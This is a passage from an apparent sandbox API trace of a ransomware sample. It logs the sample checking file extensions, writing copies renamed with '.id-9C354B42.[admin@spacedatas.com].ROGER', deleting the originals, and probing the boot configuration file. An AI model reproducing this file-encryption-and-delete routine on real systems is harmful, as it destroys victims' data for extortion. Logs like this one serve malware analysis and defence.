Office\\CLIPART\\PUB60COR\\BL00248_.WMF") returned 63 [0061.993] lstrlenW (lpString=".dbf") returned 4 [0061.993] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0061.993] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00248_.WMF") returned 63 [0061.993] lstrlenW (lpString=".1cd") returned 4 [0061.993] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0061.993] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00248_.WMF") returned 63 [0061.993] lstrlenW (lpString=".jpg") returned 4 [0061.993] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0061.993] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00248_.WMF") returned 63 [0061.993] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00248_.WMF") returned 63 [0061.993] lstrlenW (lpString=".doc") returned 4 [0061.993] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0061.993] lstrlenW (lpString=".docx") returned 5 [0061.993] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0061.993] lstrlenW (lpString=".pdf") returned 4 [0061.993] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0061.993] lstrlenW (lpString=".xls") returned 4 [0061.993] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0061.993] lstrlenW (lpString=".xlsx") returned 5 [0061.993] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0061.993] lstrlenW (lpString=".ppt") returned 4 [0061.993] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0061.993] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00248_.WMF") returned 63 [0061.993] lstrlenW (lpString=".zip") returned 4 [0061.993] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0061.993] lstrlenW (lpString=".rar") returned 4 [0061.994] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0061.994] lstrlenW (lpString=".bz2") returned 4 [0061.994] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0061.994] lstrlenW (lpString=".7z") returned 3 [0061.994] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0061.994] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00248_.WMF") returned 63 [0061.994] lstrlenW (lpString=".dbf") returned 4 [0061.994] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0061.994] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00248_.WMF") returned 63 [0061.994] lstrlenW (lpString=".1cd") returned 4 [0061.994] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0061.994] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00248_.WMF") returned 63 [0061.994] lstrlenW (lpString=".jpg") returned 4 [0061.994] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0061.994] lstrcmpiW (lpString1=".WMF", lpString2=".ROGER") returned 1 [0061.994] lstrlenW (lpString="BL00252_.WMF") returned 12 [0061.994] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00252_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00252_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0061.994] GetFileSizeEx (in: hFile=0x368, lpFileSize=0x3bfff1c | out: lpFileSize=0x3bfff1c*=4708) returned 1 [0061.994] CloseHandle (hObject=0x368) returned 1 [0061.994] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00252_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00252_.wmf")) returned 0x20 [0061.995] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00252_.WMF.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00252_.wmf.id-9c354b42.[admin@spacedatas.com].roger")) returned 0xffffffff [0061.995] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00252_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00252_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0061.995] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bffec8 | out: lpNewFilePointer=0x0) returned 1 [0061.995] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bffec8 | out: lpNewFilePointer=0x0) returned 1 [0061.995] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00252_.WMF.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00252_.wmf.id-9c354b42.[admin@spacedatas.com].roger"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0061.995] GetLastError () returned 0x0 [0061.995] ReadFile (in: hFile=0x368, lpBuffer=0x4740020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3bffed4, lpOverlapped=0x0 | out: lpBuffer=0x4740020*, lpNumberOfBytesRead=0x3bffed4*=0x1264, lpOverlapped=0x0) returned 1 [0061.996] WriteFile (in: hFile=0x338, lpBuffer=0x4740020*, nNumberOfBytesToWrite=0x1270, lpNumberOfBytesWritten=0x3bffc9c, lpOverlapped=0x0 | out: lpBuffer=0x4740020*, lpNumberOfBytesWritten=0x3bffc9c*=0x1270, lpOverlapped=0x0) returned 1 [0061.997] ReadFile (in: hFile=0x368, lpBuffer=0x4740020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3bffed4, lpOverlapped=0x0 | out: lpBuffer=0x4740020*, lpNumberOfBytesRead=0x3bffed4*=0x0, lpOverlapped=0x0) returned 1 [0061.997] WriteFile (in: hFile=0x338, lpBuffer=0x4740020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x3bffc9c, lpOverlapped=0x0 | out: lpBuffer=0x4740020*, lpNumberOfBytesWritten=0x3bffc9c*=0xec, lpOverlapped=0x0) returned 1 [0061.997] SetEndOfFile (hFile=0x338) returned 1 [0061.998] CloseHandle (hObject=0x338) returned 1 [0061.998] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bffec8 | out: lpNewFilePointer=0x0) returned 1 [0061.998] SetEndOfFile (hFile=0x368) returned 1 [0061.999] CloseHandle (hObject=0x368) returned 1 [0061.999] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00252_.WMF.id-9C354B42.[admin@spacedatas.com].ROGER", dwFileAttributes=0x20) returned 1 [0061.999] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00252_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00252_.wmf")) returned 1 [0061.999] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00252_.WMF") returned 63 [0061.999] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00252_.WMF") returned 63 [0061.999] lstrlenW (lpString=".doc") returned 4 [0061.999] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0061.999] lstrlenW (lpString=".docx") returned 5 [0061.999] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0061.999] lstrlenW (lpString=".pdf") returned 4 [0061.999] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0061.999] lstrlenW (lpString=".xls") returned 4 [0061.999] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0061.999] lstrlenW (lpString=".xlsx") returned 5 [0061.999] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0061.999] lstrlenW (lpString=".ppt") returned 4 [0061.999] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0061.999] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00252_.WMF") returned 63 [0061.999] lstrlenW (lpString=".zip") returned 4 [0061.999] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0061.999] lstrlenW (lpString=".rar") returned 4 [0062.000] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0062.000] lstrlenW (lpString=".bz2") returned 4 [0062.000] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0062.000] lstrlenW (lpString=".7z") returned 3 [0062.000] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0062.000] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00252_.WMF") returned 63 [0062.000] lstrlenW (lpString=".dbf") returned 4 [0062.000] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0062.000] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00252_.WMF") returned 63 [0062.000] lstrlenW (lpString=".1cd") returned 4 [0062.000] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0062.000] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00252_.WMF") returned 63 [0062.000] lstrlenW (lpString=".jpg") returned 4 [0062.000] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0062.000] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00252_.WMF") returned 63 [0062.000] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00252_.WMF") returned 63 [0062.000] lstrlenW (lpString=".doc") returned 4 [0062.000] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0062.000] lstrlenW (lpString=".docx") returned 5 [0062.000] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0062.000] lstrlenW (lpString=".pdf") returned 4 [0062.000] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0062.000] lstrlenW (lpString=".xls") returned 4 [0062.000] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0062.000] lstrlenW (lpString=".xlsx") returned 5 [0062.000] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0062.000] lstrlenW (lpString=".ppt") returned 4 [0062.000] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0062.000] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00252_.WMF") returned 63 [0062.000] lstrlenW (lpString=".zip") returned 4 [0062.000] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0062.000] lstrlenW (lpString=".rar") returned 4 [0062.000] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0062.000] lstrlenW (lpString=".bz2") returned 4 [0062.000] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0062.001] lstrlenW (lpString=".7z") returned 3 [0062.001] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0062.001] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00252_.WMF") returned 63 [0062.001] lstrlenW (lpString=".dbf") returned 4 [0062.001] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0062.001] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00252_.WMF") returned 63 [0062.001] lstrlenW (lpString=".1cd") returned 4 [0062.001] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0062.001] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00252_.WMF") returned 63 [0062.001] lstrlenW (lpString=".jpg") returned 4 [0062.001] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0062.001] lstrcmpiW (lpString1=".WMF", lpString2=".ROGER") returned 1 [0062.001] lstrlenW (lpString="BL00254_.WMF") returned 12 [0062.001] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00254_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00254_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0062.002] GetFileSizeEx (in: hFile=0x368, lpFileSize=0x3bfff1c | out: lpFileSize=0x3bfff1c*=1736) returned 1 [0062.002] CloseHandle (hObject=0x368) returned 1 [0062.002] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00254_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00254_.wmf")) returned 0x20 [0062.002] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00254_.WMF.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00254_.wmf.id-9c354b42.[admin@spacedatas.com].roger")) returned 0xffffffff [0062.002] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00254_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00254_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0062.002] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bffec8 | out: lpNewFilePointer=0x0) returned 1 [0062.002] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bffec8 | out: lpNewFilePointer=0x0) returned 1 [0062.002] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00254_.WMF.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00254_.wmf.id-9c354b42.[admin@spacedatas.com].roger"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0062.003] GetLastError () returned 0x0 [0062.003] ReadFile (in: hFile=0x368, lpBuffer=0x4740020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3bffed4, lpOverlapped=0x0 | out: lpBuffer=0x4740020*, lpNumberOfBytesRead=0x3bffed4*=0x6c8, lpOverlapped=0x0) returned 1 [0062.004] WriteFile (in: hFile=0x338, lpBuffer=0x4740020*, nNumberOfBytesToWrite=0x6d0, lpNumberOfBytesWritten=0x3bffc9c, lpOverlapped=0x0 | out: lpBuffer=0x4740020*, lpNumberOfBytesWritten=0x3bffc9c*=0x6d0, lpOverlapped=0x0) returned 1 [0062.005] ReadFile (in: hFile=0x368, lpBuffer=0x4740020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3bffed4, lpOverlapped=0x0 | out: lpBuffer=0x4740020*, lpNumberOfBytesRead=0x3bffed4*=0x0, lpOverlapped=0x0) returned 1 [0062.005] WriteFile (in: hFile=0x338, lpBuffer=0x4740020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x3bffc9c, lpOverlapped=0x0 | out: lpBuffer=0x4740020*, lpNumberOfBytesWritten=0x3bffc9c*=0xec, lpOverlapped=0x0) returned 1 [0062.005] SetEndOfFile (hFile=0x338) returned 1 [0062.005] CloseHandle (hObject=0x338) returned 1 [0062.005] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bffec8 | out: lpNewFilePointer=0x0) returned 1 [0062.005] SetEndOfFile (hFile=0x368) returned 1 [0062.006] CloseHandle (hObject=0x368) returned 1 [0062.006] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00254_.WMF.id-9C354B42.[admin@spacedatas.com].ROGER", dwFileAttributes=0x20) returned 1 [0062.006] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00254_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00254_.wmf")) returned 1 [0062.006] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00254_.WMF") returned 63 [0062.006] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00254_.WMF") returned 63 [0062.006] lstrlenW (lpString=".doc") returned 4 [0062.007] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0062.007] lstrlenW (lpString=".docx") returned 5 [0062.007] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0062.007] lstrlenW (lpString=".pdf") returned 4 [0062.007] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0062.007] lstrlenW (lpString=".xls") returned 4 [0062.007] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0062.007] lstrlenW (lpString=".xlsx") returned 5 [0062.007] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0062.007] lstrlenW (lpString=".ppt") returned 4 [0062.007] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0062.007] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00254_.WMF") returned 63 [0062.007] lstrlenW (lpString=".zip") returned 4 [0062.007] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0062.007] lstrlenW (lpString=".rar") returned 4 [0062.007] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0062.007] lstrlenW (lpString=".bz2") returned 4 [0062.007] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0062.007] lstrlenW (lpString=".7z") returned 3 [0062.007] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0062.007] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00254_.WMF") returned 63 [0062.007] lstrlenW (lpString=".dbf") returned 4 [0062.007] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0062.007] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00254_.WMF") returned 63 [0062.007] lstrlenW (lpString=".1cd") returned 4 [0062.007] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0062.007] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00254_.WMF") returned 63 [0062.007] lstrlenW (lpString=".jpg") returned 4 [0062.007] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0062.007] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00254_.WMF") returned 63 [0062.007] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00254_.WMF") returned 63 [0062.007] lstrlenW (lpString=".doc") returned 4 [0062.007] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0062.007] lstrlenW (lpString=".docx") returned 5 [0062.007] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0062.008] lstrlenW (lpString=".pdf") returned 4 [0062.008] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0062.008] lstrlenW (lpString=".xls") returned 4 [0062.008] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0062.008] lstrlenW (lpString=".xlsx") returned 5 [0062.008] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0062.008] lstrlenW (lpString=".ppt") returned 4 [0062.008] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0062.008] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00254_.WMF") returned 63 [0062.008] lstrlenW (lpString=".zip") returned 4 [0062.008] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0062.008] lstrlenW (lpString=".rar") returned 4 [0062.008] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0062.008] lstrlenW (lpString=".bz2") returned 4 [0062.008] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0062.008] lstrlenW (lpString=".7z") returned 3 [0062.008] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0062.008] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00254_.WMF") returned 63 [0062.008] lstrlenW (lpString=".dbf") returned 4 [0062.008] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0062.008] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00254_.WMF") returned 63 [0062.008] lstrlenW (lpString=".1cd") returned 4 [0062.008] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0062.008] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00254_.WMF") returned 63 [0062.008] lstrlenW (lpString=".jpg") returned 4 [0062.008] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0062.008] lstrcmpiW (lpString1=".WMF", lpString2=".ROGER") returned 1 [0062.008] lstrlenW (lpString="BL00261_.WMF") returned 12 [0062.008] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00261_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00261_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0062.009] GetFileSizeEx (in: hFile=0x368, lpFileSize=0x3bfff1c | out: lpFileSize=0x3bfff1c*=12482) returned 1 [0062.009] CloseHandle (hObject=0x368) returned 1 [0062.009] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00261_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00261_.wmf")) returned 0x20 [0062.009] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00261_.WMF.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00261_.wmf.id-9c354b42.[admin@spacedatas.com].roger")) returned 0xffffffff [0062.009] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00261_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00261_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0062.009] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bffec8 | out: lpNewFilePointer=0x0) returned 1 [0062.009] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bffec8 | out: lpNewFilePointer=0x0) returned 1 [0062.009] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00261_.WMF.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00261_.wmf.id-9c354b42.[admin@spacedatas.com].roger"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0062.009] GetLastError () returned 0x0 [0062.009] ReadFile (in: hFile=0x368, lpBuffer=0x4740020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3bffed4, lpOverlapped=0x0 | out: lpBuffer=0x4740020*, lpNumberOfBytesRead=0x3bffed4*=0x30c2, lpOverlapped=0x0) returned 1 [0062.073] WriteFile (in: hFile=0x338, lpBuffer=0x4740020*, nNumberOfBytesToWrite=0x30d0, lpNumberOfBytesWritten=0x3bffc9c, lpOverlapped=0x0 | out: lpBuffer=0x4740020*, lpNumberOfBytesWritten=0x3bffc9c*=0x30d0, lpOverlapped=0x0) returned 1 [0062.074] ReadFile (in: hFile=0x368, lpBuffer=0x4740020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3bffed4, lpOverlapped=0x0 | out: lpBuffer=0x4740020*, lpNumberOfBytesRead=0x3bffed4*=0x0, lpOverlapped=0x0) returned 1 [0062.074] WriteFile (in: hFile=0x338, lpBuffer=0x4740020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x3bffc9c, lpOverlapped=0x0 | out: lpBuffer=0x4740020*, lpNumberOfBytesWritten=0x3bffc9c*=0xec, lpOverlapped=0x0) returned 1 [0062.074] SetEndOfFile (hFile=0x338) returned 1 [0063.365] CloseHandle (hObject=0x338) returned 1 [0063.581] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bffec8 | out: lpNewFilePointer=0x0) returned 1 [0063.581] SetEndOfFile (hFile=0x368) returned 1 [0063.619] CloseHandle (hObject=0x368) returned 1 [0063.619] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00261_.WMF.id-9C354B42.[admin@spacedatas.com].ROGER", dwFileAttributes=0x20) returned 1 [0063.619] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00261_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00261_.wmf")) Thread: id = 14 os_tid = 0xa94 [0036.987] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x10000) returned 0x32c2fa0 [0036.987] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x10000) returned 0x32d2fa8 [0036.988] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x10) returned 0x3295468 [0036.988] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x6) returned 0x32a2290 [0036.988] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x10) returned 0x32954b0 [0036.988] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x100000) returned 0x4850020 [0036.988] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x10) returned 0x3295558 [0036.988] RtlReAllocateHeap (Heap=0x790000, Flags=0x0, Ptr=0x3295558, Size=0x20) returned 0x8069c8 [0036.988] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x10) returned 0x3295558 [0036.988] RtlReAllocateHeap (Heap=0x790000, Flags=0x0, Ptr=0x3295558, Size=0x20) returned 0x806a18 [0036.988] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x76c20000 [0036.988] GetProcAddress (hModule=0x76c20000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x76c4d650 [0036.988] Wow64DisableWow64FsRedirection (in: OldValue=0x3d3ff58 | out: OldValue=0x3d3ff58*=0x0) returned 1 [0036.988] lstrlenW (lpString="kernel32.dll") returned 12 [0036.988] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x8069c8 | out: hHeap=0x790000) returned 1 [0036.989] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0036.989] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806a18 | out: hHeap=0x790000) returned 1 [0036.989] Sleep (dwMilliseconds=0x64) [0037.170] lstrlenW (lpString="BCD") returned 3 [0037.170] CreateFileW (lpFileName="C:\\Boot\\BCD" (normalized: "c:\\boot\\bcd"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0037.170] lstrlenW (lpString="C:\\Boot\\BCD") returned 11 [0037.170] lstrlenW (lpString="C:\\Boot\\BCD") returned 11 [0037.170] lstrlenW (lpString=".doc") returned 4 [0037.171] lstrcmpiW (lpString1=".doc", lpString2="\\BCD") returned -1 [0037.171] lstrlenW (lpString=".docx") returned 5 [0037.182] lstrcmpiW (lpString1=".docx", lpString2="t\\BCD") returned -1 [0037.188] lstrlenW (lpString=".pdf") returned 4 [0037.188] 